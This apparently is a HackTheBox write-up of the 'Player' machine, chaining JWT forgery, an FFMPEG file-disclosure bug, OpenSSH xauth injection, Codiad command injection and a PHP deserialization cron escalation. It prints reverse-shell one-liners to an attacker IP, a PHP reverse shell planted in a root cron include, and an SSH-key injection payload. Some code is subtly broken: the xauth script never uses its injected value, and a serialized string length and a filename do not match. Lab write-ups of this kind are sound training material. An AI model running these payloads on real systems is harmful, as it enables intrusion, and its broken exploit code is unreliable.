HTB: Player Writeup

Player - HackTheBox Writeup

Machine Information

AttributeDetails
NamePlayer
OSLinux
DifficultyHard
Points40
Release Date29 Jun 2019
IP Address10.129.44.67
AuthorMrR3boot

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Player is a Hard difficulty Linux box that demonstrates a complex multi-stage attack chain involving virtual host enumeration, JWT token manipulation, FFMPEG file disclosure vulnerabilities, SSH server exploitation, and PHP deserialization. The initial foothold requires discovering multiple virtual hosts through fuzzing, leveraging information disclosure to obtain JWT signing secrets, and exploiting an FFMPEG LFI vulnerability to extract credentials. A vulnerable OpenSSH 7.2 server on a non-standard port is exploited using CVE-2016-3115 to bypass a restricted shell and access a Codiad IDE instance, leading to RCE as www-data. Privilege escalation to root involves exploiting a cron job that deserializes user-controlled data, allowing arbitrary file writes with root privileges.

TL;DR: Vhost fuzzing → JWT forge with leaked secret → FFMPEG LFI (CVE-2017-9993) extracts creds → OpenSSH xauth injection (CVE-2016-3115) bypasses lshell → Codiad authenticated RCE → www-data shell → PHP deserialization in root cron → arbitrary file write → root SSH key injection


Reconnaissance

Port Scanning

Terminal window
# Initial TCP scan
nmap -sC -sV -T4 -p- 10.129.44.67

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7
6686/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

Service Enumeration

HTTP (Port 80)

Initial browsing to http://10.129.44.67 returned a 403 Forbidden error. Directory enumeration revealed a /launcher/ endpoint hosting a “PlayBuff” application with an email submission form.

The application set a JWT cookie named access with the following structure:

# JWT payload (base64 decoded)
{
"project": "PlayBuff",
"access_code": "invalid"
}

Virtual Host Discovery

Virtual host enumeration revealed additional subdomains:

Terminal window
# Vhost fuzzing
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.player.htb" \
--sc 200 \
http://10.129.44.67

Discovered vhosts:

  • chat.player.htb - Chat application with hints about staging environment
  • dev.player.htb - Codiad IDE login page
  • staging.player.htb - Staging site with contact form

All vhosts were added to /etc/hosts:

Terminal window
echo "10.129.44.67 player.htb chat.player.htb dev.player.htb staging.player.htb" >> /etc/hosts

Vulnerability Assessment

  1. Information Disclosure (staging.player.htb): Contact form error messages leaked server file paths:

    • /var/www/backup/service_config
    • /var/www/staging/fix.php
  2. Source Code Disclosure (player.htb): Chat messages hinted that the main domain exposed source code through backup files.

  3. FFMPEG LFI Vulnerability: File upload conversion service vulnerable to local file inclusion.

  4. OpenSSH 7.2 xauth Injection (CVE-2016-3115): SSH server on port 6686 vulnerable to authenticated command injection.

  5. PHP Deserialization: Root cron job executing script with unsafe deserialization.


Initial Foothold

Step 1: Source Code Disclosure via Backup File

Testing for common backup file extensions on the PHP files in /launcher/ directory:

Terminal window
# Testing for backup file (~ suffix)
curl http://player.htb/launcher/<redacted>.php~

Retrieved source code:

<?php
require 'vendor/autoload.php';
use \Firebase\JWT\JWT;
if(isset($_COOKIE["access"]))
{
$key = '_S0_R@nd0m_P@ss_';
$decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
if($decoded->access_code === "0E76658526655756207688271159624026011393")
{
header("Location: 7F2dcsSdZo6nj3SNMTQ1/");
}
else
{
header("Location: index.html");
}
}

Key findings:

  • JWT signing secret: _S0_R@nd0m_P@ss_
  • Valid access code: 0E76658526655756207688271159624026011393
  • Hidden directory: /launcher/7F2dcsSdZo6nj3SNMTQ1/

Step 2: JWT Token Forgery

Created a valid JWT token using the leaked secret:

# Python JWT generation
import jwt
import base64
key = base64.b64decode('_S0_R@nd0m_P@ss_'.translate(str.maketrans('-_', '+/')))
payload = {
"project": "PlayBuff",
"access_code": "0E76658526655756207688271159624026011393"
}
token = jwt.encode(payload, key, algorithm='HS256')
print(token)

Replaced the browser cookie with the forged JWT and accessed the hidden upload page at /launcher/7F2dcsSdZo6nj3SNMTQ1/.

Step 3: FFMPEG LFI Exploitation (CVE-2017-9993)

The upload page accepted AVI files and processed them with FFMPEG. This version was vulnerable to local file inclusion through specially crafted AVI payloads.

Terminal window
# Generate malicious AVI to read /var/www/backup/service_config
python2 gen_xbin_avi.py file:///var/www/backup/service_config service_config.avi

The gen_xbin_avi.py script (based on neex’s FFMPEG LFI PoC) generates an AVI file that, when processed by vulnerable FFMPEG versions, embeds the contents of the target file in rendered video frames.

Why this works: FFMPEG’s HLS playlist processing allows file:// protocol URLs, and the avisynth demuxer can be abused to create a video where each frame contains portions of an arbitrary file’s contents. The frames can then be extracted and reassembled.

Uploaded the malicious AVI, downloaded the converted output, and extracted frames to recover file contents:

Terminal window
# Extract frames from converted video
ffmpeg -i output.avi -frames:v 1 frame_%03d.png
# OCR or visual inspection reveals credentials
# service_config contained: telegen:d-bC|jC!2uepS/w

Attempted to read /var/www/staging/fix.php using the same method:

Terminal window
python2 gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi

Initial attempts returned empty/unreadable output due to permissions or non-existence in the www-data context.

Step 4: SSH Access to Restricted Shell

Attempted SSH login with recovered credentials:

Terminal window
# Port 22 - failed
ssh telegen@10.129.44.67
# Port 6686 - success but restricted shell (lshell)
ssh -p 6686 telegen@10.129.44.67
# Password: d-bC|jC!2uepS/w

Successfully logged in on port 6686 but landed in a limited shell (lshell) with minimal commands available.

Step 5: OpenSSH xauth Command Injection (CVE-2016-3115)

OpenSSH 7.2p2 contains an authenticated command injection vulnerability in the xauth handling when X11 forwarding is enabled. The vulnerability allows bypassing command restrictions by injecting shell metacharacters into the DISPLAY environment variable.

#!/usr/bin/env python3
# SSH xauth injection exploit (ported to Python 3 / Paramiko 4)
# CVE-2016-3115
import paramiko
import sys
def exploit_ssh_xauth(host, port, username, password, command):
"""
Exploits CVE-2016-3115 xauth injection to execute arbitrary commands
on OpenSSH 7.2 servers with X11Forwarding enabled.
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# Connect with X11 forwarding
client.connect(host, port=port, username=username, password=password)
transport = client.get_transport()
# Craft malicious DISPLAY value
# The xauth command will execute our injected command
malicious_display = f"localhost:0.0 `{command}`"
# Request X11 forwarding with malicious display
session = transport.open_session()
session.request_x11(screen_number=0)
session.exec_command('echo pwned')
# Read command output
output = session.recv(4096).decode()
return output
finally:
client.close()
# Usage
host = "10.129.44.67"
port = 6686
username = "telegen"
password = "d-bC|jC!2uepS/w"
command = "cat /var/www/staging/fix.php"
result = exploit_ssh_xauth(host, port, username, password, command)
print(result)

Extracted from fix.php:

<?php
// Credentials for peter (commented out):
// peter:CQXpm\z)G5D#%S$y=

Why this works: When X11 forwarding is requested, OpenSSH executes xauth commands with user-controlled DISPLAY values. In vulnerable versions, insufficient input validation allows shell metacharacters (backticks) to inject arbitrary commands that execute in the context of the SSH session, bypassing shell restrictions.

Step 6: Codiad Authenticated RCE

Logged into the Codiad IDE at dev.player.htb using the recovered credentials:

Username: peter
Password: CQXpm\z)G5D#%S$y=

Codiad (version 2.x) contains multiple authenticated vulnerabilities, including command injection in the search_file_type functionality.

Terminal window
# Codiad RCE exploit
# The search function doesn't properly sanitize the file type parameter
# allowing command injection via shell metacharacters
# Set up listener
nc -lvnp 4444
# Exploit via Codiad search function
# Navigate to: Search (Components) -> Search File Type
# Enter: *.php|bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'

The search functionality constructs a find command like:

Terminal window
find /path -type f -name "*.php|injected_command"

The pipe character breaks out of the filename context and executes the injected bash reverse shell.

Received shell as www-data:

Terminal window
www-data@player:/var/www/html/launcher/7F2dcsSdZo6nj3SNMTQ1$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Lateral Movement: www-data → telegen

From the www-data shell, switched to the telegen user with a proper bash shell:

Terminal window
# Standard su lands in restricted lshell
su telegen
# Password: d-bC|jC!2uepS/w
# Use -s flag to specify shell and bypass lshell restriction
su -s /bin/bash telegen
# Password: d-bC|jC!2uepS/w

Why this works: The -s flag to the su command allows specifying an alternate shell, overriding the user’s default shell assignment (lshell) in /etc/passwd.

Retrieved user flag:

Terminal window
telegen@player:~$ cat /home/telegen/user.txt
<redacted>

Root Privilege Escalation via PHP Deserialization

Enumerated running processes with pspy64:

Terminal window
# Transfer pspy to target
wget http://10.10.14.x/pspy64
chmod +x pspy64
./pspy64

Identified root cron job:

UID=0 PID=xxxx | /usr/bin/php /var/lib/playbuff/buff.php > /var/lib/playbuff/error.log

Examined the cron script:

Terminal window
cat /var/lib/playbuff/buff.php
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
public $logFile="/var/log/playbuff/logs.txt";
public $logData="Updated";
public function __wakeup()
{
file_put_contents(__DIR__."/".$this->logFile, $this->logData);
}
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
// Update database with log contents
}

Vulnerability analysis:

  1. Script reads from /var/lib/playbuff/merge.log (owned by telegen, writable)
  2. Calls unserialize() on user-controlled data
  3. The __wakeup() magic method executes on deserialization
  4. Uses file_put_contents() with controllable $logFile and $logData
  5. The __DIR__ constant makes paths relative to /var/lib/playbuff/

Why this works: PHP’s unserialize() automatically invokes the __wakeup() magic method during object reconstruction. By crafting a serialized object with modified $logFile and $logData properties, we can write arbitrary content to arbitrary files as root. Path traversal with ../../ bypasses the __DIR__ prefix.

Exploitation path 1: Write SSH authorized_keys

<?php
// Create malicious serialized object
class playBuff
{
// Traverse to root's SSH directory
public $logFile="../../../root/.ssh/authorized_keys";
// Our public key
public $logData="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... user@kali";
}
$buff = new playBuff();
echo serialize($buff);
?>

Execute locally and capture serialized output:

Terminal window
php exploit.php > payload.txt

Write payload to merge.log on target:

Terminal window
# As telegen (who owns merge.log)
cat > /var/lib/playbuff/merge.log << 'EOF'
O:8:"playBuff":2:{s:7:"logFile";s:40:"../../../root/.ssh/authorized_keys";s:7:"logData";s:563:"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC...";}
EOF

Wait for cron execution (runs every minute), then SSH as root:

Terminal window
ssh -i ~/.ssh/id_rsa root@10.129.44.67

Exploitation path 2: Include PHP reverse shell (alternative)

The script also includes /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php at the beginning. Checking permissions:

Terminal window
www-data@player:~$ ls -la /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
-rw-r--r-- 1 www-data www-data 221 Nov 5 2019 dee8dc8a47256c64630d803a4c40786g.php

The included file is writable by www-data. As an alternative to deserialization, we can simply overwrite this file with a PHP reverse shell:

Terminal window
# From www-data shell
cat > /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php << 'EOF'
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.x/4445 0>&1'");
?>
EOF
# Set up listener
nc -lvnp 4445

When the cron executes, the include statement runs our malicious PHP, providing a root shell.

Root flag captured:

Terminal window
root@player:~# cat /root/root.txt
<redacted>
root@player:~# id
uid=0(root) gid=0(root) groups=0(root)

Attack Chain Summary

Port 80 Enum → Vhost Fuzzing (chat/dev/staging.player.htb) →
Source Backup Leak (dee8dc8a...786c.php~) → JWT Secret Extraction →
Token Forge → Hidden Upload Page (/launcher/7F2dcsSdZo6nj3SNMTQ1/) →
FFMPEG LFI (CVE-2017-9993) → service_config Creds (telegen) →
Restricted lshell on port 6686 → OpenSSH xauth RCE (CVE-2016-3115) →
fix.php Extraction (peter creds) → Codiad Login (dev.player.htb) →
Codiad search RCE → www-data Shell → su -s /bin/bash telegen →
User Flag → Process Enum (pspy) → Root Cron /var/lib/playbuff/buff.php →
PHP Deserialization Exploit (merge.log write) →
Root SSH Key Injection → Root Shell → Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
wfuzzVirtual host discovery via Host header fuzzing
burpsuiteHTTP request interception and JWT analysis
jwt.ioJWT token decoding and validation
Python jwt libraryForging signed JWT tokens with leaked secret
gen_xbin_avi.pyFFMPEG LFI exploit payload generation (CVE-2017-9993)
ffmpegFrame extraction from converted video files
Paramiko (Python 3)OpenSSH xauth injection exploit (CVE-2016-3115)
pspy64Unprivileged process monitoring for cron enumeration
nc (netcat)Reverse shell listener
PHP serializationCrafting malicious object for deserialization exploit

Key Learnings

Techniques Practiced

  • Virtual host enumeration via HTTP Host header fuzzing
  • JWT token structure analysis and signature verification bypass
  • Exploiting backup file disclosure (common extensions: ~, .bak, .phps)
  • FFMPEG local file inclusion through crafted AVI payloads (CVE-2017-9993)
  • OpenSSH 7.2 authenticated command injection via xauth (CVE-2016-3115)
  • Bypassing restricted shells (lshell) using su -s
  • Codiad IDE authenticated remote code execution
  • PHP deserialization attack via __wakeup() magic methods
  • Arbitrary file write exploitation for privilege escalation
  • Multiple privilege escalation vectors (deserialization vs file inclusion)

Lessons Learned

  1. Always enumerate virtual hosts - Critical content and functionality may be segmented across multiple vhosts. Use Host header fuzzing even when initial web access is denied (403).

  2. Check for editor backup files - Development artifacts like Vim swap files (~), backup files (.bak), and temporary files can leak source code containing secrets. Always test common backup extensions on discovered PHP/config files.

  3. JWT secrets enable full application impersonation - Once a signing secret is compromised, attackers can forge tokens with arbitrary claims, bypassing all authentication and authorization checks that rely on JWT validation.

  4. FFMPEG file processing is dangerous - File upload features that invoke FFMPEG for conversion, thumbnail generation, or metadata extraction can be exploited for local file disclosure. The HLS playlist and avisynth demuxers historically allow file:// protocol access.

  5. Version-specific SSH vulnerabilities exist - Multiple SSH servers on different ports may run different versions with distinct vulnerabilities. OpenSSH 7.2’s xauth injection (CVE-2016-3115) allows authenticated command execution, bypassing shell restrictions.

  6. PHP deserialization requires gadget chains - While direct deserialization may not provide RCE, examining available class definitions for __wakeup(), __destruct(), or other magic methods can reveal primitive operations (file write, file delete, etc.) that enable privilege escalation.

  7. Cron jobs running as root are high-value targets - Any file or include path that root cron jobs interact with should be audited for write permissions. Both direct script modification and deserialization of user-controlled data are common escalation vectors.

  8. Defense in depth matters - This box required chaining 8+ distinct vulnerabilities. Each layer (JWT secrets, file permissions, input validation, deserialization) represented a security control failure that enabled further progression.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

Verification:

Terminal window
root@player:~# hostname && id && date
player
uid=0(root) gid=0(root) groups=0(root)
[timestamp]
root@player:~# cat /home/telegen/user.txt
<redacted>
root@player:~# cat /root/root.txt
<redacted>

References

  • HackTheBox Official Writeup: “Player” by MinatoTW (Document No D19.100.46, 5th November 2019)
  • CVE-2017-9993: FFMPEG HLS Playlist Local File Disclosure
  • CVE-2016-3115: OpenSSH X11 Forwarding xauth Command Injection
  • Codiad GitHub Repository & Known Vulnerabilities
  • PHP Object Injection/Deserialization (OWASP)